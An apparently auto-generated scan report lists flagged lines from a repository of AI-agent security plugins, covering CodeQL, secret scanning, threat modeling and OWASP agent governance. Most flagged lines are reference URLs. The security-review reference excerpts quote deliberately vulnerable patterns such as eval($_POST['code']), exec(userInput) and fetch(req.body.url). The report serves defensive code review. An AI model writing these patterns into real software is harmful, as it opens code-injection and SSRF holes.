Generated by <a href="https://github.com/github/awesome-copilot/tree/main/plugins/acreadiness-cockpit">acreadiness-cockpit</a> - Network accessline 224
· powered by <a href="https://github.com/microsoft/agentrc">microsoft/agentrc</a>.
harness/claude-code/plugins/agent-governance/.claude-plugin/plugin.json
- Network accessline 6
"name": "Copilot Primitives Maintainers" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/agent-governance/skills/agent-governance/SKILL.md
- Network accessline 156
- [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit) - Network accessline 157
- [AgentMesh Integrations](https://github.com/microsoft/agent-governance-toolkit) - Network accessline 158
- [OWASP Top 10 for LLM Applications](https://owasp.org/www-project-top-10-for-large-language-model-applications/)
harness/claude-code/plugins/agent-governance/skills/agent-owasp-compliance/SKILL.md
- Dangerous shell operationline 60
| ASI-01 | `PolicyEvaluator`, `PolicyEngine`, `input_validation`, `validate_input`, `sanitize`, `classify_intent`, `prompt_injection`, `threat_detect`, or `check_content` runs before `execute_tool(validated_input)`. | User input reaches `ex - Dangerous shell operationline 61
| ASI-02 | A fixed `ALLOWED_TOOLS = {"search", "read_file", "create_ticket"}` allowlist, schema validation, and deny-by-default behavior. | Open-ended tool registration, raw shell execution, `eval()` or `exec()` on agent-generated code with - Network accessline 139
- [OWASP Agentic AI Threats](https://genai.owasp.org/) - Network accessline 140
- [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit) - Network accessline 141
- [agent-governance skill](https://github.com/github/awesome-copilot/tree/main/skills/agent-governance)
harness/claude-code/plugins/agent-governance/skills/agent-supply-chain/SKILL.md
- Network accessline 184
- [OpenSSF SLSA](https://slsa.dev/) - Network accessline 185
- [npm Provenance](https://docs.npmjs.com/generating-provenance-statements) - Network accessline 186
- [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit) - Network accessline 187
- [OWASP ASI-09: Supply Chain Integrity](https://genai.owasp.org/)
harness/claude-code/plugins/ai-team-orchestration/.claude-plugin/plugin.json
harness/claude-code/plugins/apng-studio/.claude-plugin/plugin.json
harness/claude-code/plugins/application-security/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/application-security/skills/codeql/SKILL.md
- Network accessline 28
- Advanced setup uses `.github/workflows/codeql.yml` and may use `.github/codeql/codeql-config.yml`. - CLI uploads require `GITHUB_TOKEN` with `security-events: write` plus repository, ref, and commit metadata. - Use the CodeQL bundle from - Network accessline 30
- Use the CodeQL bundle from https://github.com/github/codeql-action/releases, not a standalone CLI download, so bundled queries and precompiled packs match the CLI. - Network accessline 243
- [CodeQL Action releases](https://github.com/github/codeql-action/releases)
harness/claude-code/plugins/application-security/skills/codeql/references/cli-commands.md
- Network accessline 9
Always download the CodeQL bundle (CLI + precompiled queries) from: [https://github.com/github/codeql-action/releases](https://github.com/github/codeql-action/releases) - Network accessline 10
[https://github.com/github/codeql-action/releases](https://github.com/github/codeql-action/releases)
harness/claude-code/plugins/application-security/skills/codeql/references/compiled-languages.md
- Dangerous shell operationline 52
- **Auto-install dependencies:** Set `CODEQL_EXTRACTOR_CPP_AUTOINSTALL_DEPENDENCIES=true` (enabled by default on GitHub-hosted; disabled on self-hosted). Requires Ubuntu with passwordless `sudo apt-get`.
harness/claude-code/plugins/application-security/skills/codeql/references/sarif-output.md
- Network accessline 9
- Specification: [OASIS SARIF v2.1.0](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html) - Network accessline 10
- Schema: [sarif-schema-2.1.0.json](https://docs.oasis-open.org/sarif/sarif/v2.1.0/errata01/os/schemas/sarif-schema-2.1.0.json) - Network accessline 258
Validate SARIF files before upload using the [Microsoft SARIF validator](https://sarifweb.azurewebsites.net/).
harness/claude-code/plugins/application-security/skills/codeql/references/troubleshooting.md
harness/claude-code/plugins/application-security/skills/data-breach-blast-radius/SKILL.md
- Network accessline 27
> **Why this matters:** 83% of organizations have experienced more than one data breach (IBM Cost of a Data Breach Report). The global average breach cost was **$4.88M in 2024**, with the 2025 IBM report showing a 9% decrease — download the - Network accessline 324
- [IBM Cost of a Data Breach Report](https://www.ibm.com/reports/data-breach.)
harness/claude-code/plugins/application-security/skills/data-breach-blast-radius/references/SOURCES.md
- Network accessline 11
### GDPR Special Categories (Tier 1 classification basis) - **Source:** Regulation (EU) 2016/679 — Article 9 "Processing of special categories of personal data" - **URL:** https://gdpr-info.eu/art-9-gdpr/ - Network accessline 12
- **Source:** Regulation (EU) 2016/679 — Article 9 "Processing of special categories of personal data" - **URL:** https://gdpr-info.eu/art-9-gdpr/ - **What it says:** Biometric data, health data, genetic data, racial/ethnic origin, politica - Network accessline 13
- **URL:** https://gdpr-info.eu/art-9-gdpr/ - Network accessline 17
### PCI-DSS Data Classification - **Source:** PCI Security Standards Council — PCI DSS v4.0 (March 2022) - **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/ - Network accessline 18
- **Source:** PCI Security Standards Council — PCI DSS v4.0 (March 2022) - **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/ - **What it says:** Primary Account Number (PAN), cardholder name, expiration date, se - Network accessline 19
- **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/ - Network accessline 23
### HIPAA Protected Health Information (PHI) Definition - **Source:** 45 CFR Part 160 and Part 164 (Health Insurance Portability and Accountability Act) - **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identi - Network accessline 24
- **Source:** 45 CFR Part 160 and Part 164 (Health Insurance Portability and Accountability Act) - **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identification/index.html - **What it says:** The 18 HIPAA ide - Network accessline 25
- **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identification/index.html - Network accessline 33
**Source:** Regulation (EU) 2016/679 — Article 83 "General conditions for imposing administrative fines" **URL:** https://gdpr-info.eu/art-83-gdpr/ - Network accessline 34
**URL:** https://gdpr-info.eu/art-83-gdpr/ - Network accessline 48
| €1.2B | Meta (Ireland DPC) | 2023 | source page no longer resolves | | €746M | Amazon (Luxembourg) | 2021 | source page no longer resolves | | €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-relea - Network accessline 49
| €746M | Amazon (Luxembourg) | 2021 | source page no longer resolves | | €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-releases/data-protection-commission-announces-decision-whatsapp-inquiry | | - Network accessline 50
| €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-releases/data-protection-commission-announces-decision-whatsapp-inquiry | - Network accessline 51
| €150M | Google (France CNIL) | 2022 | source page no longer resolves | | €35.3M | H&M (Hamburg DPA) | 2020 | https://www.datenschutz-hamburg.de/news/detail/article/hamburgische-beauftragte-fuer-datenschutz-und-informationsfreiheit-verhaen - Network accessline 52
| €35.3M | H&M (Hamburg DPA) | 2020 | https://www.datenschutz-hamburg.de/news/detail/article/hamburgische-beauftragte-fuer-datenschutz-und-informationsfreiheit-verhaengt-bussgeld-gegen-hm.html | - Network accessline 60
**Source:** California Civil Code § 1798.155(a) — California Consumer Privacy Act **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.155 - Network accessline 61
**URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.155 - Network accessline 68
**Private Right of Action source:** California Civil Code § 1798.150 **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.150 - Network accessline 69
**URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.150 - Network accessline 80
**Source:** 45 CFR § 160.404 — Civil Money Penalties **URL:** https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404 - Network accessline 81
**URL:** https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404 - Network accessline 83
**Source (HHS penalty tiers explained):** HHS Office for Civil Rights **URL:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/agreements/index.html - Network accessline 84
**URL:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/agreements/index.html - Network accessline 92
**URL for current amounts:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/examples/all-cases/index.html - Network accessline 96
**Criminal penalties source:** 42 U.S.C. § 1320d-6 **URL:** https://uscode.house.gov/view.xhtml?req=granuleid:USC-prelim-title42-section1320d-6 - Network accessline 97
**URL:** https://uscode.house.gov/view.xhtml?req=granuleid:USC-prelim-title42-section1320d-6 - Network accessline 103
**Source:** Lei Geral de Proteção de Dados Pessoais (LGPD) — Lei nº 13.709/2018, Article 52 **URL:** https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm - Network accessline 104
**URL:** https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm - Network accessline 114
**Source:** Personal Data Protection Act 2012 (Singapore) — Section 48J **URL:** https://sso.agc.gov.sg/Act/PDPA2012 - Network accessline 115
**URL:** https://sso.agc.gov.sg/Act/PDPA2012 - Network accessline 123
**Source:** IBM Security — "Cost of a Data Breach Report" (published annually since 2005) **URL:** https://www.ibm.com/reports/data-breach - Network accessline 124
**URL:** https://www.ibm.com/reports/data-breach - Network accessline 147
| Regulation | Timeline | Source | |-----------|---------|--------| | GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ | - Network accessline 148
|-----------|---------|--------| | GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ | | UK GDPR | 72 hours | UK GDPR Article 33 (retained EU law) — https://ico.org.uk/for-organisations/report-a-breach/ | - Network accessline 149
| GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ | - Network accessline 150
| UK GDPR | 72 hours | UK GDPR Article 33 (retained EU law) — https://ico.org.uk/for-organisations/report-a-breach/ | - Network accessline 151
| HIPAA | 60 days | 45 CFR § 164.412 — https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-164/subpart-D/section-164.412 | - Network accessline 152
| CCPA | "Most expedient time" | Cal. Civ. Code § 1798.82 — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.82 | - Network accessline 153
| Singapore PDPA | 3 calendar days | PDPA Section 26D — https://sso.agc.gov.sg/Act/PDPA2012 | - Network accessline 154
| Australia Privacy Act | 30 days | Privacy Act 1988, APP 1 + NDB Scheme — https://www.oaic.gov.au/privacy/notifiable-data-breaches | - Network accessline 155
| LGPD Brazil | 2 business days (ANPD guidance) | ANPD Resolution CD/ANPD nº 2/2022 — https://www.gov.br/anpd/pt-br | - Network accessline 156
| Japan APPI | 3–5 business days (2022 amendment) | Act on Protection of Personal Information Art. 26 — https://www.ppc.go.jp/en/legal/ | - Network accessline 157
| PIPEDA Canada | "As soon as feasible" | PIPEDA s.10.1 — https://www.priv.gc.ca/en/privacy-topics/privacy-laws-in-canada/the-personal-information-protection-and-electronic-documents-act-pipeda/ | - Network accessline 165
| Component | Based on | |-----------|---------| | Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology | - Network accessline 166
|-----------|---------| | Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology | | Completeness Factor | FAIR (Factor Analysis of Information Risk) model — https:/ - Network accessline 167
| Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology | - Network accessline 168
| Completeness Factor | FAIR (Factor Analysis of Information Risk) model — https://www.fairinstitute.org/ | - Network accessline 169
| Population Scale normalization | CVSS v4.0 Attack Scale metric — https://www.first.org/cvss/v4-0/ | - Network accessline 170
| Context multipliers | GDPR recitals 75, 91 (special categories increase risk level) — https://gdpr-info.eu/recitals/no-75/ |
harness/claude-code/plugins/application-security/skills/data-breach-blast-radius/references/blast-radius-calculator.md
- Network accessline 237
Use these when no specific cost data is available. Figures below are from the **IBM 2024 edition**. IBM publishes a new edition annually at https://www.ibm.com/reports/data-breach — the 2025 report reports a ~9% decrease in global average c
harness/claude-code/plugins/application-security/skills/data-breach-blast-radius/references/data-classification.md
harness/claude-code/plugins/application-security/skills/data-breach-blast-radius/references/hardening-playbook.md
harness/claude-code/plugins/application-security/skills/data-breach-blast-radius/references/regulatory-impact.md
- Network accessline 150
**Legal source:** GDPR Article 83 — https://gdpr-info.eu/art-83-gdpr/ - Network accessline 190
**Legal source:** California Civil Code § 1798.155(a) (as amended June 30, 2025, Stats. 2025, Ch. 20) — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.155 - Network accessline 191
**Private right of action source:** California Civil Code § 1798.150 — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.150 - Network accessline 222
**Legal source:** 45 CFR § 160.404 — https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404 - Network accessline 223
**HHS enforcement page:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/examples/all-cases/index.html - Network accessline 247
**Legal source:** Lei nº 13.709/2018 (LGPD) — Article 52, I — https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm - Network accessline 248
**ANPD (Brazilian DPA):** https://www.gov.br/anpd/pt-br - Network accessline 282
**Benchmark source:** IBM Security + Ponemon Institute — "Cost of a Data Breach Report" (annually updated) **URL:** https://www.ibm.com/reports/data-breach Figures below are from the **2024 edition** (last verified). IBM 2025 shows a 9% dec - Network accessline 283
**URL:** https://www.ibm.com/reports/data-breach
harness/claude-code/plugins/application-security/skills/data-breach-blast-radius/references/report-format.md
- Network accessline 263
*This report was generated by the [data-breach-blast-radius](https://github.com/github/awesome-copilot/tree/main/skills/data-breach-blast-radius) skill for GitHub Copilot.*
harness/claude-code/plugins/application-security/skills/gdpr-compliant/references/Security.md
harness/claude-code/plugins/application-security/skills/secret-scanning/SKILL.md
- Network accessline 159
- [Secret scanning in AI coding agents via the GitHub MCP Server](https://github.blog/changelog/2026-03-17-secret-scanning-in-ai-coding-agents-via-the-github-mcp-server/)
harness/claude-code/plugins/application-security/skills/secret-scanning/references/push-protection.md
- Network accessline 155
For the full list of patterns supported by push protection, see [Supported secret scanning patterns](https://docs.github.com/en/code-security/secret-scanning/introduction/supported-secret-scanning-patterns).
harness/claude-code/plugins/application-security/skills/security-review/references/language-patterns.md
- Dangerous shell operationline 11
eval() // arbitrary code execution - Dangerous shell operationline 87
eval(request.args.get('expr')) - Network accessline 116
// XXE DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // Missing: dbf.setFeature("http://apache.org/xml/features/" + "disallow-doctype-decl", true) - Network accessline 118
// Missing: dbf.setFeature("http://apache.org/xml/features/" + "disallow-doctype-decl", true) - Dangerous shell operationline 143
eval($_POST['code']); - Dangerous shell operationline 192
eval(params[:code])
harness/claude-code/plugins/application-security/skills/security-review/references/report-format.md
- Network accessline 114
Action Required: 1. Rotate this key IMMEDIATELY at https://dashboard.stripe.com - Network accessline 115
1. Rotate this key IMMEDIATELY at https://dashboard.stripe.com - Access to secretsline 117
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted]
harness/claude-code/plugins/application-security/skills/security-review/references/secret-patterns.md
- Access to secretsline 86
[Credential-related source omitted] - Access to secretsline 114
[Credential-related source omitted] - Access to secretsline 142
[Credential-related source omitted] - Access to secretsline 151
[Credential-related source omitted] - Access to secretsline 154
[Credential-related source omitted] - Access to secretsline 171
[Credential-related source omitted] - Access to secretsline 172
[Credential-related source omitted] - Access to secretsline 173
[Credential-related source omitted] - Access to secretsline 174
[Credential-related source omitted]
harness/claude-code/plugins/application-security/skills/security-review/references/vuln-categories.md
- Dangerous shell operationline 46
- `eval()`, `setTimeout(string)`, `setInterval(string)` with user data - Dangerous shell operationline 61
exec(userInput) - Dangerous shell operationline 71
eval(user_input) - Dangerous shell operationline 76
exec($input) - Network accessline 100
fetch(req.body.url) - Access to secretsline 171
[Credential-related source omitted]
harness/claude-code/plugins/application-security/skills/security-review/references/vulnerable-packages.md
harness/claude-code/plugins/application-security/skills/threat-model-analyst/references/analysis-principles.md
- Network accessline 184
Reference: https://owasp.org/Top10/2025/ - Network accessline 387
### SDL Bugbar Severity Classify each finding per: https://www.microsoft.com/en-us/msrc/sdlbugbar - Network accessline 388
Classify each finding per: https://www.microsoft.com/en-us/msrc/sdlbugbar - Network accessline 390
### CVSS 4.0 Score Use CVSS v4.0 Base score (0.0-10.0) with vector string. Reference: https://www.first.org/cvss/v4.0/specification-document - Network accessline 392
Reference: https://www.first.org/cvss/v4.0/specification-document - Network accessline 394
### CWE Assign Common Weakness Enumeration ID and name. Reference: https://cwe.mitre.org/ - Network accessline 396
Reference: https://cwe.mitre.org/ - Network accessline 399
Map to OWASP Top 10:2025 category if applicable (A01-A10). **ALWAYS use `:2025` suffix** (e.g., `A01:2025`), never `:2021`. Reference: https://owasp.org/Top10/2025/ - Network accessline 401
Reference: https://owasp.org/Top10/2025/
harness/claude-code/plugins/application-security/skills/threat-model-analyst/references/orchestrator.md
- Network accessline 50
20. **Deployment Classification is BINDING.** In `0.1-architecture.md`, set `Deployment Classification` and fill the Component Exposure Table. If classification is `LOCALHOST_DESKTOP` or `LOCALHOST_SERVICE`: zero T1 findings, zero `Prerequi - Network accessline 51
21. Finding IDs MUST be sequential top-to-bottom: FIND-01, FIND-02, FIND-03... Renumber after sorting 22. CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication` 23. After STRIDE, run - Network accessline 52
22. CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication`
harness/claude-code/plugins/application-security/skills/threat-model-analyst/references/output-formats.md
- Network accessline 369
| SDL Bugbar Severity | Critical / Important / Moderate / Low | | CVSS 4.0 | Score AND full vector string (e.g., `9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)`) — BOTH are mandatory | | CWE | ID, name, AND hyperlink - Network accessline 370
| CVSS 4.0 | Score AND full vector string (e.g., `9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)`) — BOTH are mandatory | | CWE | ID, name, AND hyperlink (e.g., `[CWE-306](https://cwe.mitre.org/data/definitions/306.ht - Network accessline 371
| CWE | ID, name, AND hyperlink (e.g., `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function`) | - Network accessline 387
| SDL Bugbar Severity | Critical | | CVSS 4.0 | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) | | CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function | - Network accessline 388
| CVSS 4.0 | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) | | CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function | | OWASP | A07:2025 – Authentication Fail - Network accessline 389
| CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function | - Network accessline 614
| Standard | URL | How Used | |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | - Network accessline 615
|----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization | - Network accessline 616
| Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | - Network accessline 617
| OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization | - Network accessline 618
| CVSS 4.0 | https://www.first.org/cvss/v4.0/specification-document | Risk scoring | - Network accessline 619
| CWE | https://cwe.mitre.org/ | Weakness classification | - Network accessline 620
| STRIDE | https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats | Threat enumeration methodology | - Network accessline 621
| NIST SP 800-53 Rev. 5 | https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final | Control mapping | - Network accessline 624
| Component | Documentation URL | Relevant Section | |-----------|------------------|------------------| | [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] | - Network accessline 625
|-----------|------------------|------------------| | [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] | | [e.g., Redis] | [e.g., https://redis.io/docs/management/security/] | [e.g., Authenticati - Network accessline 626
| [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] | - Network accessline 627
| [e.g., Redis] | [e.g., https://redis.io/docs/management/security/] | [e.g., Authentication] | - Network accessline 630
**Processing Rules:** 1. Always include the Security Standards table — populate with actual standards consulted 2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column - Network accessline 631
1. Always include the Security Standards table — populate with actual standards consulted 2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column 3. Populate Component Documentation with technologies actually c - Network accessline 632
2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column - Network accessline 709
21. Skipping `## Report Files`, `## References Consulted`, or `## Report Metadata` → ALL 7 sections in 0-assessment.md are MANDATORY. Never omit any. 22. Finding IDs out of order (FIND-06 before FIND-04) → Finding IDs MUST be sequential - Network accessline 710
22. Finding IDs out of order (FIND-06 before FIND-04) → Finding IDs MUST be sequential top-to-bottom: FIND-01, FIND-02, FIND-03, ... Renumber after sorting. 23. CWE without hyperlink → CWE MUST include hyperlink: `[CWE-306](https://cwe. - Network accessline 711
23. CWE without hyperlink → CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function` - Network accessline 732
"branch": "main", "analysis_timestamp": "2025-08-15T14:30:00Z", "repository": "https://github.com/org/repo", - Network accessline 733
"analysis_timestamp": "2025-08-15T14:30:00Z", "repository": "https://github.com/org/repo", "report_folder": "threat-model-20250815-143000", - Network accessline 734
"repository": "https://github.com/org/repo", - Access to secretsline 948
[Credential-related source omitted]
harness/claude-code/plugins/application-security/skills/threat-model-analyst/references/skeletons/skeleton-assessment.md
- Network accessline 191
| Standard | URL | How Used | |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | - Network accessline 192
|----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization | - Network accessline 193
| Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | - Network accessline 194
| OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization | - Network accessline 195
| CVSS 4.0 | https://www.first.org/cvss/v4.0/specification-document | Risk scoring | - Network accessline 196
| CWE | https://cwe.mitre.org/ | Weakness classification | - Network accessline 197
| STRIDE | https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats | Threat enumeration | - Network accessline 256
| **Incremental Tags** | `[Existing]` · `[Fixed]` · `[Partial]` · `[New]` · `[Removed]` (incremental reports only) | | **CVSS** | CVSS 4.0 vector with `CVSS:4.0/` prefix | | **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.or - Network accessline 257
| **CVSS** | CVSS 4.0 vector with `CVSS:4.0/` prefix | | **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.org/data/definitions/306.html)) | | **OWASP** | OWASP Top 10:2025 mapping (e.g., A01:2025 – Broken Access Control) | - Network accessline 258
| **CWE** | Hyperlinked CWE ID (e.g., [CWE-306](https://cwe.mitre.org/data/definitions/306.html)) |
harness/claude-code/plugins/application-security/skills/threat-model-analyst/references/skeletons/skeleton-findings.md
- Network accessline 23
| SDL Bugbar Severity | [FILL: Critical / Important / Moderate / Low] | | CVSS 4.0 | [FILL: N.N] (CVSS:4.0/[FILL: full vector starting with AV:]) | | CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): - Network accessline 24
| CVSS 4.0 | [FILL: N.N] (CVSS:4.0/[FILL: full vector starting with AV:]) | | CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): [FILL: weakness name] | | OWASP | A[FILL: NN]:2025 – [FILL: category nam - Network accessline 25
| CWE | [CWE-[FILL: NNN]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html: NNN].html): [FILL: weakness name] | - Network accessline 84
| SDL Bugbar Severity | [FILL] | | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | - Network accessline 85
| CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | | OWASP | A[FILL]:2025 – [FILL] | - Network accessline 86
| CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | - Network accessline 128
| SDL Bugbar Severity | [FILL] | | CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | - Network accessline 129
| CVSS 4.0 | [FILL] (CVSS:4.0/[FILL]) | | CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] | | OWASP | A[FILL]:2025 – [FILL] | - Network accessline 130
| CWE | [CWE-[FILL]](https://cwe.mitre.org/data/definitions/{CWE-ID}.html].html): [FILL] |
harness/claude-code/plugins/application-security/skills/threat-model-analyst/references/tmt-element-taxonomy.md
- Network accessline 67
| TMT ID | Name | Code Patterns to Identify | |--------|------|---------------------------| | `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS | - Network accessline 68
|--------|------|---------------------------| | `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS | | `SE.DF.TMCore.HTTPS` | HTTPS | TLS-secured REST, `https://` endpoints | - Network accessline 69
| `SE.DF.TMCore.HTTP` | HTTP | `fetch()`, `axios`, `HttpClient`, REST without TLS | - Network accessline 70
| `SE.DF.TMCore.HTTPS` | HTTPS | TLS-secured REST, `https://` endpoints | - Network accessline 124
| Flow Type | Code Patterns | |-----------|---------------| | **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls | - Network accessline 125
|-----------|---------------| | **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls | | **SQL Database** | ORM queries, SQL connections, `DbContext` | - Network accessline 126
| **HTTP/HTTPS** | `fetch()`, `axios`, `HttpClient`, REST calls |
harness/claude-code/plugins/application-security/skills/threat-model-analyst/references/verification-checklist.md
- Network accessline 29
- [ ] Every `#### Evidence` section cites specific file paths, line numbers, or config keys (not generic statements like "found in codebase") - [ ] Every finding has ALL 10 mandatory attribute rows: `SDL Bugbar Severity`, `CVSS 4.0`, `CWE`, - Network accessline 30
- [ ] Every finding has ALL 10 mandatory attribute rows: `SDL Bugbar Severity`, `CVSS 4.0`, `CWE`, `OWASP`, `Exploitation Prerequisites`, `Exploitability Tier`, `Remediation Effort`, `Mitigation Type`, `Component`, `Related Threats` - [ ] E - Network accessline 31
- [ ] Every CWE value is a hyperlink: contains `](https://cwe.mitre.org/` (not plain text like `CWE-79`) - Network accessline 170
- [ ] **References Consulted as flat table **— Search for `| Reference | Usage |` pattern. Two-column flat table → Two subsections: `### Security Standards` with `| Standard | URL | How Used |` and `### Component Documentation` with `| Comp - Network accessline 171
- [ ] **References missing URLs **— Every row in References Consulted tables must have a full `https://` URL. Missing URL column or empty URLs → Full URLs in every row - Network accessline 177
- [ ] **CVSS score without vector or missing prefix **— Grep each finding's CVSS field. The value MUST match pattern: `\d+\.\d+ \(CVSS:4\.0/AV:`. Specifically check for the `CVSS:4.0/` prefix — the most common deviation is outputting the ve - Network accessline 178
- [ ] **CWE without hyperlink **— Grep for `CWE-\d+` without preceding `[`. `CWE-78: OS Command Injection` → `[CWE-78](https://cwe.mitre.org/data/definitions/78.html): OS Command Injection`
harness/claude-code/plugins/application-security/skills/tm7-threat-model/SKILL.md
- Network accessline 62
<ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"> - Network accessline 79
| Prefix | URI | Used for | |--------|-----|----------| | (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` | - Network accessline 80
